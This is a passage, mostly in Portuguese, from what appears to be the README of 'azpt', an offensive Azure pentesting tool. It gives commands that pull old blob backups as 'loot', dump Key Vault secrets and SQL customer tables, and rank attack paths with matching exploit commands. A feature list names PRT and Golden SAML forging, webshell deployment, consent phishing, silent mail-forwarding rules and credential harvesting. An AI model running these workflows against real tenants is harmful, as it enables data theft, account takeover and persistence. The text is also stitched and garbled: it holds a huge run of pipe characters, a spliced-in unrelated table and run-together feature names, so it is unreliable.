# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt automatiza as etapas 1–4: ele sonda uma lista de nomes de contêineres comuns e,
para cada um que seja listável anonimamente, enumera versões e reporta cada
arquivo que contém segredos como um achado.```bash
./azpt blob hunt --account acmewebsite
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |```
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
Lista de contêineres personalizada — substitui a wordlist integrada:```bash ./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
**Padrões de deteção personalizados** — `--pattern` aceita expressões regulares insensíveis a maiúsculas/minúsculas (repetível). São verificados antes dos incorporados e sinalizados como HIGH, pelo que podem sobrepor-se à classificação predefinida:```bash
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
Nada sobre um alvo específico está codificado — a detecção integrada é um conjunto de regexes sobre classes de arquivos propensos a vazamento (veja Findings).
Uma vez que você possui credenciais, dois fluxos de trabalho são mais importantes: entender o que a identidade pode fazer e alcançar segredos.
enum accessUm comando consolida a resposta, usando o token com o qual você já está logado:```bash ./azpt enum access
Ele relata, em seções:
- **Identidade** — usuário/app + ID do objeto + tenant (decodificado do token)
- **Escopos delegados do Graph / funções de app** — quais chamadas de diretório terão sucesso
- **Funções de diretório** — por exemplo, *Administrador Global* destaca-se aqui
- **Associações de grupo** — de `/me/memberOf`
- **Atribuições de função do Azure RBAC** — nome da função + escopo, por assinatura
As seções para as quais você não tem permissão são listadas em `NOTES` em vez de fazer
o comando inteiro falhar. As atribuições de função do RBAC usam o filtro `assignedTo()`, portanto
funções *herdadas* de grupo são incluídas, não apenas as atribuídas diretamente.
### Grafo de caminho de ataque — `scan`
O ponto culminante: `scan` enumera **todo** o acesso efetivo do principal autenticado
— grupos, funções de diretório, atribuições de RBAC, escopos e recursos — e
constrói um **grafo de ataque no estilo BloodHound**. Ele sinaliza alvos de alto valor (Key
Vaults, armazenamento, SQL, aplicações web, VMs), atribui cada função ao usuário *ou ao
grupo específico que a concede*, e deriva caminhos de ataque pontuados com o comando
`azpt` exato para explorar cada um.```bash
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
A saída --html é um mapa de ataque interativo autónomo, com tema escuro
(sem dependências externas, funciona totalmente offline) que renderiza cada nó com o seu
ícone real do serviço Azure. Inclui:
As relações de pertença (quem está em que grupo/função) só são recolhidas com
scan --deep, que enumera adicionalmente os membros de grupos e de funções de diretório para
que a aplicação web possa traçar cadeias de identidade → grupo → acesso:```bash
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
- clique em um caminho ou execute uma consulta para destacar sua rota e escurecer todo o resto,
e clique em qualquer nó para obter um cartão de detalhes de suas relações de entrada/saída.
Exemplo de saída de texto:```
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultUm Key Vault armazena segredos, chaves e certificados. Ver um vault via
enum resources (ARM) não implica acesso ao plano de dados — ler seu
conteúdo requer uma política de acesso do Key Vault (Get/List) ou a função RBAC
Key Vault Secrets User. Sem isso, você recebe 403 Forbidden, o que é um sinal útil.```bash
./azpt vault list --vault ext-contractors
./azpt vault get --vault ext-contractors --secret db-connection-string
./azpt vault dump --vault ext-contractors ./azpt --json vault dump --vault ext-contractors > vault-loot.json
`vault list` relata cada tipo de conteúdo de forma independente, portanto, um vault onde você pode listar segredos mas não chaves ainda mostra o que você *pode* ver — e revela exatamente quais permissões de plano de dados você possui. A chave privada de um certificado geralmente é recuperável via `vault get --secret <cert-name>`, já que o Key Vault a expõe através do segredo de mesmo nome.
Para nuvens soberanas ou um endpoint incomum, passe `--vault-url` em vez de `--vault`.
### Azure SQL — `sql`
Enumere e consulte bancos de dados Azure SQL. Dois modos de autenticação:
- **Token do Entra ID** (padrão) — usa sua credencial atual. Funciona quando o servidor tem um administrador do Entra ID e seu principal é um usuário de banco de dados mapeado.
- **Login SQL** (`--user`/`--password`) — necessário quando o servidor *não* tem administrador do Entra ID (você verá `Login failed ... not currently configured to accept this token` no caminho do token). Tente credenciais recuperadas em outro lugar — por exemplo, segredos do Key Vault — aqui.```bash
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
O firewall do servidor deve permitir o seu IP de origem de qualquer forma. Os nomes de tabela em
dump são validados como identificadores simples antes do uso (não podem ser
parametrizados em T-SQL), portanto a injeção via --table não é possível. sql query é somente leitura por padrão — DROP/DELETE/UPDATE/EXEC/xp_cmdshell e outras instruções mutantes são recusadas a menos que --allow-write seja passado, para que uma avaliação autorizada não possa destruir dados acidentalmente.
storageA contraparte autenticada dos comandos anônimos blob: usa a sua
credencial do Entra ID (equivalente a az storage ... --auth-mode login) para acessar
contêineres/blobs e Storage Tables. Requer uma função de plano de dados como
Storage Blob Data Reader ou Storage Table Data Reader — ver a conta
via enum resources (plano de controle) não a concede; um 403 significa que você não possui
a função de dados.```bash
./azpt storage containers --account custdatabase ./azpt storage blobs --account custdatabase --container backups ./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
./azpt storage tables --account custdatabase ./azpt storage entities --account custdatabase --table customers ./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
`blob` vs `storage`: `blob` é a visão do atacante **externa, não autenticada**
(listagem anónima, enumeração de versões); `storage` é a visão **autenticada**
assim que possui uma credencial. Diferentes modelos de ameaça, ambos incluídos.
## Constatações
As constatações têm um ID estável, severidade, evidência e remediação. O catálogo
completo com descrições e correções encontra-se em
[`docs/findings.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/findings.md). Resumo:
| ID | Severidade | Significado |
| --- | --- | --- |
| `STOR-001` | ALTA | A conta de armazenamento permite acesso público (anónimo) a blobs |
| `STOR-002` | MÉDIA | Transferência apenas por HTTPS não é imposta |
| `STOR-003` | MÉDIA | Versão mínima de TLS inferior a 1.2 |
| `STOR-004` | BAIXA | Acesso por Chave Partilhada (chave da conta) ativado |
| `STOR-005` | MÉDIA | Armazenamento acessível a partir de todas as redes (firewall com permissão por omissão) |
| `BLOB-001` | MÉDIA | O contentor permite listagem anónima |
| `BLOB-002` | BAIXA | O versionamento de blobs está ativado (o histórico pode ser recuperável) |
| `BLOB-003` | MÉDIA | Versões históricas de blobs recuperáveis anonimamente |
| `BLOB-010` | varia | Ficheiro sensível exposto anonimamente (severidade do classificador) |
`STOR-*` (auditoria autenticada) e `BLOB-*` (anónimo) são dois lados da
mesma moeda: `STOR-001` diz "o acesso público está configurado"; `BLOB-001` prova-o
ao listar efetivamente o contentor a partir do exterior.
---
## Formatos de saída
Tabelas legíveis por humanos por omissão; adicione a flag global `--json` para saída
estruturada adequada para `jq` ou ingestão num pipeline de relatórios:```bash
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
As descobertas são ordenadas da mais grave para a menos grave na saída de tabela.
main.go internal/ recon/ unauthenticated outsider recon: realm, tenant, DNS posture, subdomain enum (wildcard-aware), user enum, password spray scan/ attack-path graph builder + self-contained Azure-themed HTML viz azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims azure/ SDK wrappers: subscriptions, resources, storage audit + data plane (blobs/tables), key vault, RBAC azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf) blob/ anonymous Blob REST client (list/versions/download) + secret classifier audit/ pure detection rules over resource views -> findings model/ shared types: Resource, Finding, Severity, Report output/ JSON + human-readable table rendering cli/ cobra command tree, shared bootstrap()
Princípios de design:
- **A detecção é desacoplada da E/S.** As regras de auditoria e o classificador de segredos em blobs são funções puras sobre visualizações achatadas, pelo que podem ser testadas unitariamente sem qualquer acesso à rede.
- **Tudo se torna um `model.Finding`.** Os módulos autenticados e anónimos emitem para o mesmo tipo, pelo que `--json` e futuros relatórios os tratam de forma uniforme.
- **Anónimo por predefinição sempre que possível.** O cliente `blob` comunica com a API REST bruta do Blob e nunca constrói uma credencial.
---
## Desenvolvimento```bash
go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
O teste do cliente blob exercita o caminho real de construção de requisições e análise de XML
contra um servidor httptest local, incluindo enumeração de versões, paginação,
e o caso 403 PublicAccessNotPermitted — sem necessidade de uma conta de armazenamento ativa.
--access-token / AZPT_TOKEN + resgate de refresh FOCIenum ca)enum access — escopos de token, funções de diretório, grupos, RBACDistribuído sob a Licença MIT.
azpt é uma ferramenta de segurança ofensiva destinada apenas a testes autorizados.
Use-a exclusivamente contra tenants e assinaturas que você possui ou para os quais
tem permissão escrita explícita de avaliação. Você é responsável por como a utiliza.
| Caso de Uso | Descrição | Exemplo |
|---|
| Acesso a Dados | Conectar LLMs a bancos de dados e APIs | Consultar um banco de dados PostgreSQL |
| Integração de Ferramentas | Dar aos LLMs a capacidade de usar ferramentas externas | Enviar e-mails via API do Gmail |
| Sistemas de Arquivos | Permitir que LLMs leiam e escrevam arquivos | Acessar documentação local |
| Integração com DevOps | Conectar a pipelines de CI/CD e infraestrutura | Implantar aplicações via Kubernetes |
| Ferramentas de Negócio | Integrar com sistemas empresariais | Acessar dados do Salesforce |
| Primitiva | Controlada por | Mutável | Caso de Uso |
|---|
| Tools | LLM | Sim | Executar ações, recuperar dados |
| Resources | Aplicação | Não | Fornecer contexto, ler dados |
| Prompts | Usuário | Não | Padronizar interações |
blob brute)recon takeover)audit network)audit keyvault/rbac)scan: grafo de caminhos de ataque estilo BloodHound (texto + JSON + HTML) unindo
Entra ID (grupos/funções) com RBAC de ARM + recursos--cloud)token decode (claims + mapeamento wids→função de diretório)scanrecon tenantinfo: federação / Seamless SSO / sincronização on-prem)enum risky); enumeração de dispositivos Intune + RCE por push de script (intune)scan --bloodhound)scan (SP/app/grupo possuído → Global Admin)--deep recursivo)mfa devicecode)scan --audit)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities), delegações Lighthouse, IPs públicosscan --loot: chaves de Function App, kubeconfig do AKS, senhas LAPS, chaves BitLocker, segredos do APIM, regras de firewall de BD, snapshots de disco, funções RBAC personalizadas com curinga, credenciais de SP obsoletas, definições de Logic App--certificate PFX/PEM)webapp deploy) para implantação de webshellenum synced)token extract — refresh + access tokens de .azure/msal_token_cache.json)m365 scan)devops)deploymentScripts do ARM através de contêiner ACI transitório, com anexação de identidade gerenciada (arm deploy-script)persistence)k8s — segredos, service accounts, pods, enumeração de privesc de RBAC, exec não interativo em pod, emissão de token de service-account)k8s pivot-azure)enum kql) + listagem de patrimônio em consulta única (enum resources --fast)harvest): az CLI (accessTokens.json, azureProfile.json, service_principal_entries.json, cache MSAL) e Az PowerShell (AzureRmContext.json, DPAPI TokenCache.dat no Windows)prt): forja de cookie SSO x-ms-RefreshTokenCredential KDF v2 a partir de um PRT + chave de sessão, cadeia completa nonce→cookie→authorize→token; extração on-host via BrowserCore.exe (Windows)device register): ingresso de dispositivo rogue via DRS → cert/chave do dispositivo (pré-requisito de PRT, bypass de CA baseado em dispositivo, persistência)federation): backdoor managed→federated (ConvertTo-AADIntBackdoor) + forja de Golden SAML e resgate de SAML-bearer (XML-DSig validado contra uma implementação independente)entra phish-app): app multi-tenant + URLs de consentimento + capturador local de token por reply-URL (Invoke-InjectOAuthApp)m365 rules): regras silenciosas de encaminhamento de entrada via messageRules do Graphscan dump/scan query): diretório completo + grafo de ataque em SQLite puro-Go (modernc.org/sqlite), 13 views analíticas prontasprt extract), dump de credencial de sincronização do AD Connect (adconnect sync-creds), DPAPI (CryptUnprotectData) — com build tags, orientação no-op fora do Windowsprt request: obter um PRT real a partir de um dispositivo registrado (encadeia registro de dispositivo → o cookie KDF v2)